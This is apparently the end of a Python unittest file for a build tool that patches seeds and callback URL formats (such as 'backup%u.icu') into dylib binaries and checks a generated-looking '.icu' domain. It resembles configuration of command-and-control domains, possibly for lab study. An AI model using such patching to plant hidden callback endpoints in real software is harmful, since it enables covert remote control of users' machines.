self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu")
saved = json.loads(path.read_text())
self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu")
def test_cli_seeds_must_match(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
with self.assertRaises(SystemExit):
xxbb_build.resolve_seeds(
lab_seeds_path=Path(tmp) / "lab_seeds.json",
cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
cli_c=None,
)
def test_http_scheme_rewrites_url_formats(self) -> None:
path = xxbb_build.group_dylib_path("C")
raw = path.read_bytes()
https = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="https",
)
http = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="http",
)
self.assertIn(b"https://%@\x00", https)
self.assertIn(b"https://backup%u.icu\x00", https)
self.assertNotIn(b"http://%@\x00", https)
self.assertIn(b"http://%@\x00", http)
self.assertIn(b"http://backup%u.icu\x00", http)
self.assertNotIn(b"https://%@\x00", http)
self.assertNotIn(b"https://backup%u.icu\x00", http)
self.assertEqual(len(http), len(https))
def test_apply_requires_channel_name(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
argv = [
"build.py",
"--artifact-root",
tmp,
"--state-root",
tmp,
"--apply",
]
old = sys.argv
try:
sys.argv = argv
with self.assertRaises(SystemExit):
xxbb_build.main()
finally:
sys.argv = old
if __name__ == "__main__":
unittest.main()